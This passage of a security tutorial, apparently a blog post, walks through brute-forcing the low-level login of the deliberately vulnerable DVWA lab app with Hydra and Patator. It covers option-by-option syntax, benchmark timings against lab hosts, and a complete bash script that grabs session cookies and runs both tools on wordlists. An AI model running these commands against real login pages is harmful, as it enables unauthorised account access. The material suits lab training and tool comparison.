  • Timeout value on request

    • Hydra: -w 1
    • Patator: timeout=1
  • Timeout before starting next thread

    • Hydra: -W 1
    • Patator: --rate-limit=1
  • Verbose (aka show redirects)

    • Hydra: -v
    • Patator: N/A. Does it out of the box (To hide them: -x ignore:code='301').
  • Show password attempts

    • Hydra: -V
    • Patator: N/A. Does it out of the box (To hide them: -x ignore:fgrep='Username and/or password incorrect.').
  • The target to attack

    • Hydra: 192.168.1.44
    • Patator: N/A. Happens later (url="http://192.168.1.44/DVWA/login.php"...)
  • Module to use

    • Hydra: http-get-form
    • Patator: http_fuzz
  • How to transmit the data

    • Hydra: N/A. It is done in the module name. (http-get-form)
    • Patator: method=GET
  • Web page to attack

    • Hydra: "/DVWA/login.php:
    • Patator: url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login"
  • GET data to send

    • Hydra: username=^USER^&password=^PASS^&Login=Login
    • Patator: N/A. Happens with in url="http://192.168.1.44/...
  • Cookie/Header data to send

    • Hydra: :H=Cookie: security=low; PHPSESSID=${SESSIONID}
    • Patator: header="Cookie: security=low; PHPSESSID=${SESSIONID}"
  • Whitelist page response

    • Hydra: :S=Welcome to the password protected area
    • Patator #1: -x quit:fgrep="Welcome to the password protected area". Quit when this value is found the first time.
    • Patator #2: -x ignore:fgrep!="Welcome to the password protected area". Only display pages which do match.
  • Blacklist page response

    • Hydra: :F=Username and/or password incorrect.
    • Patator #1: -x quit:fgrep!='Username and/or password incorrect.'. Quit as soon as this is NOT found.
    • Patator #2: -x ignore:fgrep='Username and/or password incorrect.'. Only print pages which do NOT match.
  • Blacklist page length of 4945

    • Hydra: :F=Content-Length\: 4945
    • Patator: -x ignore:clen=4945
  • AND operator

    • Hydra: N/A. Does not have the feature.
    • Patator: ,clen!='...
  • Do not follow requests

    • Hydra: N/A. Have to use a proxy in line with it.
    • Patator: follow=0
  • Do not accept cookies

    • Hydra: N/A. Have to use a proxy in line with it.
    • Patator: accept_cookie=0
  • Use in a HTTP proxy

    • Hydra: export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
    • Patator: http_proxy=127.0.0.1:8080
  • Amount of retires to perform

    • Hydra: N/A. Does not have the feature.
    • Patator: --max-retries=0
  • Visit a page before the request, to get a input to use as a value (aka anti-CSRF bypassing)

    • Hydra: N/A. Does not have the exact feature (closest is: :C=/page_to_get_cookie_value_only)
    • Patator: before_urls="http://.../" before_egrep="_CSRF_:<input type='hidden' name='csrf_token' value='(\w+)' />"

Benchmark

Each test was repeated three times and the average value was taken. The value displayed are in seconds. The password wordlist used was /usr/share/seclists/Passwords/passwords_clarkson_82.txt (which is a poor wordlist for the record), and /usr/share/seclists/Usernames/top_shortlist.txt for the usernames. Both Hydra and Patator will stop when they find the first (and only) valid user (admin:password). This means they will produce 508 requests in order to find the successful account. In addition, there was not any waiting between threads ending. There were two different timeout values used (3 seconds and 10 seconds), which is shown in the tables below.

Hardware & Software:

  • 192.168.1.11 - Raspberry Pi v1 "B" Arch Linux // Nginx v1.8.0 // PHP v5.6.14 // MariaDB v10.0.21
  • 192.168.1.22 - Raspberry Pi v2 "B" Raspbian // Apache v2.4.10 // PHP v5.6.13 // MySQL v5.5.44
  • 192.168.1.33 - Windows XP SP3 (VM: 1 Core/512 MB) // Apache v2.4.10 (XAMPP v1.8.2) // PHP v5.4.31 // MySQL v5.5.39
  • 192.168.1.44 - Windows Server 2012 (VM: 1 Core/2048 MB) // IIS v8.0 // PHP v5.6.0 // MySQL v5.5.45

Results: (With 3 seconds timeout)

HYDRA 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 152 67 79 36
2 Threads 141 49 - 38
4 Threads 140 49 - 36
8 Threads 140 47 - 36
16 Threads - 44[*] - 39
32 Threads - - - 45
-------------------------------------------------------------------------------------
PATATOR 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 72 28 43 18
2 Threads 69 24 - 19
4 Threads 69 26 - 19
8 Threads 70 18 - 19
16 Threads - 26 - 19
32 Threads - 43[**] - 22
-------------------------------------------------------------------------------------
  • [*] == One pass did not not find the password.
  • [**] == More than one thread timeout, but still found the password.

Results: (With 10 seconds timeout)

HYDRA 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 162 66 78 39
2 Threads 141 48 - 42
4 Threads 140 49 - 38
8 Threads 140 50 - 41
16 Threads 139 49 - 41
32 Threads 141 49 - 44
-------------------------------------------------------------------------------------
PATATOR 192.168.1.11 192.168.1.22 192.168.1.33 192.168.1.44
1 Thread 72 32 45 21
2 Threads 70 24 - 21
4 Threads 69 21 - 21
8 Threads 69 23 - 19
16 Threads 70 26 - 21
32 Threads 71 30 - 22
-------------------------------------------------------------------------------------

For the reason why Hydra is noticeable slower than Patator, see the medium level benchmark results.


Further testing:

The benchmark results are only for a single user (even though the username comes from a wordlist). So, how does Hydra & Patator compare when multiple users are brute forced? I believe this is where Hydra would start to outperform Patator as it is able to stop testing a value when a user is found, therefore it will produce less requests overall. The test would be, how many number of successful logins vs the time taken.


Bash Benchmark Command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
thread=1
for ip in 11 22 33 44; do
CSRF=$(curl -s -c cookie "192.168.1.${ip}/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID cookie | awk -F ' ' '{print $7}')
curl -s -b cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.${ip}/DVWA/login.php" >/dev/null
rm -f hydra.restore
time  hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt  -P /usr/share/seclists/Passwords/passwords_clarkson_82.txt\
  -F  -u  -t ${thread}  -w 10  -v  -q  192.168.1.${ip}  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}"
done
for ip in 11 22 33 44; do
CSRF=$(curl -s -c cookie "192.168.1.${ip}/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID cookie | awk -F ' ' '{print $7}')
curl -s -b cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.${ip}/DVWA/login.php" >/dev/null
time  patator  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=${thread}  timeout=10 \
  url="http://192.168.1.${ip}/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/passwords_clarkson_82.txt \
  header="Cookie: security=low; PHPSESSID=${SESSIONID}" \
  -x ignore:fgrep!='Welcome to the password protected area'  -x quit:fgrep='Welcome to the password protected area'
done

Conclusion

None of the tools are not "perfect". I would say there is not a single "go-to tool", as each is better in certain cases.

Hydra at designed to be an "online password brute force tool", and has the features and function we need to-do this type of brute force. However, a more complex one (such as anti-CSRF tokens - which happens later), Hydra will fail at. I found it is the "best" tool to brute force multiple users, as it will produce the least amount of requests.

Patator at its heart is an "online fuzzer", which can be used to fuzz inputs into the username/password fields to brute force. It has many more features and options than Hydra. I believe it is the best tool for brute forcing a single user (or modules which have dedicated username/password field, which was not the case for web form).

Burp Suite is also a fuzzer, as well as offering a lot of other options (it is a multi-tool - hence "suite"). Unless you have a commercial license, the free version will be much slower than the other two options. The upside is, it allows you to-do the most complex brute force attacks (even in the free edition).

That's it! A how to guide on Damn Vulnerable Web Application (DVWA) to brute force the low level using Hydra and Patator (and Burp), with a comparison guide and how to debug issues with a proxy.

curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<form/,/<\/form/p' | grep -i "<action"|"<input"

  • <form action="#" method="GET"> - a GET request to the same URL /DVWA/vulnerabilities/brute/
    • Hydra: http-get-form
    • Patator: http_fuzz method=GET
  • <input type="text" name="username"><br /> - username field
    • Hydra: username=^USER^
    • Patator: username=FILE1
  • <input type="password" AUTOCOMPLETE="off" name="password"><br /> - password
    • Hydra: password=^PASS^
    • Patator: username=FILE1
  • <input type="submit" value="Login" name="Login"> - action
    • Hydra: Login=Login
    • Patator: Login=Login
  • Result:
    • Hydar: /DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login
    • Patator: /DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login